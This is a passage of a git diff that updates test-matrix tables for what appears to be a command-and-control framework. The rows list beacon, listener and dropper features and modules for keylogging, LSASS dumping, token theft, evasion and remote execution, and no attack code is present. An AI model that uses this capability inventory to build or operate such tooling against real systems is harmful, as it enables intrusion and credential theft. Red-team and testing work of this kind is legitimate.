partial | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | pass | untested | +| partial | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling. | pass | untested | +| partial | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run. | pass | untested | +| partial | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | untested | +| partial | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | Validate makeToken, stealToken, rev2self, spawnAs, and related error handling. | pass | untested | +| partial | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services. | pass | untested | +| partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | +| partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | +| partial | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | pass | untested | +| partial | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | pass | untested | +| partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | +| partial | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | Read a remote file and report readable errors for missing paths. | pass | untested | +| partial | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | Change current working directory and reject invalid paths clearly. | pass | untested | +| partial | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | +| partial | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | +| partial | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | Enumerate RDP sessions with readable output and safe error handling. | pass | untested | +| partial | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | Enumerate network shares with readable output and safe error handling. | pass | untested | +| partial | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | Run supported evasion actions and report unsupported or failed actions clearly. | pass | untested | +| partial | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | Return environment variables or a selected variable with clear missing-value handling. | pass | untested | +| partial | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | Return interface/network information without truncating important data. | pass | untested | +| partial | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | Start/stop keylogger and collect key output safely. | pass | untested | +| partial | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | Kill a safe dummy process and reject invalid PID values clearly. | pass | untested | +| partial | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | List remote directory contents with stable formatting and path error handling. | pass | untested | +| partial | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | Create a logon token from credentials and report authentication failures clearly. | pass | untested | +| partial | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | Create remote directories and report existing/invalid path failures. | pass | untested | +| partial | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | Return network connection/listening information in a readable format. | pass | untested | +| partial | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | List processes with PID/name metadata and no console formatting breakage. | pass | untested | +| partial | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | Return current working directory once, without duplicate console output. | pass | untested | +| partial | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | Read/query registry keys and handle missing keys or malformed packed commands safely. | pass | untested | +| partial | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | Remove remote files/directories and report safe errors for missing paths. | pass | untested | +| partial | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | Revert impersonation back to the original token. | pass | untested | +| partial | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | Spawn a process as supplied credentials and handle invalid packed parameters. | pass | untested | +| partial | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | untested | +| partial | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | Impersonate token from a safe process and report invalid PID/access errors clearly. | pass | untested | +| partial | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | Create/query/delete a scheduled task and validate parameter errors. | pass | untested | +| partial | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | Render recursive directory tree output without breaking console formatting. | pass | untested | +| partial | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | Return current user identity with clear output. | pass | untested | +| partial | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions. | pass | untested | +| partial | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | +| partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | +| partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | | untested | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | untested | -| untested | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | untested | untested | -| untested | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | List CommandSpecs from core modules and common commands with help and argument metadata. | untested | n/a | -| untested | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | Prepare common commands, module commands, artifact-backed commands, shellcode-backed commands, and rejected commands. | untested | n/a | -| untested | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | untested | untested | -| untested | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | untested | untested | -| untested | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | Register generated artifacts with sidecars, hash, size, source, format, and category. | untested | n/a | -| untested | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | untested | untested | -| untested | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | untested | untested | -| untested | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | untested | untested | | untested | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle. | n/a | untested | | untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | -| untested | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands. | untested | untested | -| untested | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback. | untested | untested | -| untested | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths. | untested | untested | -| untested | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | Download selected artifacts from TeamServer to the client filesystem. | untested | untested | -| untested | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | Upload operator files into UploadedArtifacts with selected platform and arch. | untested | untested | -| untested | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | untested | untested | -| untested | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | untested | untested | -| untested | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | untested | untested | -| untested | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | untested | untested | -| untested | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | untested | untested | -| untested | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | untested | untested | -| untested | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | untested | untested | -| untested | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | untested | untested | -| untested | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | untested | untested | -| untested | high | `COMMON-LISTENER-001` | CommonCommands | listener | Start and stop child listeners from a beacon using validated listener parameters. | untested | untested | -| untested | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | List loaded modules by name and state in the beacon console. | untested | untested | -| untested | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | untested | untested | | untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | | untested | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | untested | | untested | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | untested | -| untested | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | untested | untested | -| untested | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | untested | untested | -| untested | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts. | untested | untested | -| untested | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | untested | untested | -| untested | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | untested | untested | -| untested | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | untested | untested | -| untested | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | untested | untested | -| untested | high | `MODULE-RUN-CONTRACT-001` | Modules | run | Run local process commands with stdout/stderr capture and startup failure handling. | untested | untested | -| untested | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result. | untested | untested | -| untested | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | untested | untested | -| untested | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | untested | untested | -| untested | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling. | untested | untested | -| untested | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run. | untested | untested | -| untested | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | untested | untested | -| untested | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | Validate makeToken, stealToken, rev2self, spawnAs, and related error handling. | untested | untested | -| untested | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services. | untested | untested | -| untested | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | untested | untested | -| untested | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | untested | untested | -| untested | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | untested | untested | -| untested | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | untested | untested | -| untested | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | untested | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | -| untested | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | Read a remote file and report readable errors for missing paths. | untested | untested | -| untested | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | Change current working directory and reject invalid paths clearly. | untested | untested | -| untested | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | -| untested | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | -| untested | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | Enumerate RDP sessions with readable output and safe error handling. | untested | untested | -| untested | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | Enumerate network shares with readable output and safe error handling. | untested | untested | -| untested | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | Run supported evasion actions and report unsupported or failed actions clearly. | untested | untested | -| untested | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | Return environment variables or a selected variable with clear missing-value handling. | untested | untested | -| untested | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | Return interface/network information without truncating important data. | untested | untested | -| untested | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | Start/stop keylogger and collect key output safely. | untested | untested | -| untested | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | Kill a safe dummy process and reject invalid PID values clearly. | untested | untested | -| untested | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | List remote directory contents with stable formatting and path error handling. | untested | untested | -| untested | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | Create a logon token from credentials and report authentication failures clearly. | untested | untested | -| untested | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | Create remote directories and report existing/invalid path failures. | untested | untested | -| untested | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | Return network connection/listening information in a readable format. | untested | untested | -| untested | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | List processes with PID/name metadata and no console formatting breakage. | untested | untested | -| untested | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | Return current working directory once, without duplicate console output. | untested | untested | -| untested | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | Read/query registry keys and handle missing keys or malformed packed commands safely. | untested | untested | -| untested | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | Remove remote files/directories and report safe errors for missing paths. | untested | untested | -| untested | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | Revert impersonation back to the original token. | untested | untested | -| untested | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | Spawn a process as supplied credentials and handle invalid packed parameters. | untested | untested | -| untested | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | untested | untested | -| untested | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | Impersonate token from a safe process and report invalid PID/access errors clearly. | untested | untested | -| untested | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | Create/query/delete a scheduled task and validate parameter errors. | untested | untested | -| untested | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | Render recursive directory tree output without breaking console formatting. | untested | untested | -| untested | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | Return current user identity with clear output. | untested | untested | -| untested | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions. | untested | untested | -| untested | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | -| untested | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | untested | untested | -| untested | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 2979ad8..62248ab 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -4,116 +4,116 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual | |---|---|---|---|---|---|---|---|---|---|---|---| -| untested | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | untested | untested | -| untested | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | untested | untested | -| untested | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | untested | untested | -| untested | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | untested | untested | -| untested | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | untested | untested | -| untested | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | untested | untested | -| untested | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | untested | untested | -| untested | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | untested | untested | -| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | untested | untested | -| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | untested | untested | -| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | untested | untested | -| untested | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | untested | untested | -| untested | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | untested | untested | -| untested | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | untested | untested | -| untested | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | untested | n/a | -| untested | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | untested | untested | +| partial | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | untested | +| partial | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | untested | +| partial | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | untested | +| partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | +| partial | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | untested | +| partial | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | untested | +| partial | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | untested | +| partial | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | untested | +| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | untested | +| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | untested | +| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | untested | +| partial | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | untested | +| partial | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | untested | +| partial | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | untested | +| pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | +| partial | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | untested | | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | -| untested | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | untested | untested | -| untested | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | untested | untested | -| untested | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | untested | untested | -| untested | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | untested | untested | -| untested | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | untested | untested | -| untested | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | untested | untested | -| untested | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | untested | untested | -| untested | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | untested | n/a | -| untested | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | untested | untested | -| untested | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | untested | untested | -| untested | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | untested | untested | -| untested | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | untested | untested | -| untested | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | untested | untested | -| untested | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | untested | untested | -| untested | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | untested | untested | -| untested | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | untested | untested | -| untested | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | untested | untested | +| partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | +| partial | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | untested | +| partial | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | untested | +| partial | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | untested | +| partial | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | untested | +| partial | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | untested | +| partial | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | pass | untested | +| pass | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | pass | n/a | +| partial | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | untested | +| partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | +| partial | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | untested | +| partial | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | untested | +| partial | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | untested | +| partial | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | untested | +| partial | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | untested | +| partial | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | untested | +| partial | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | untested | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | | untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | | untested | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | untested | -| untested | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | 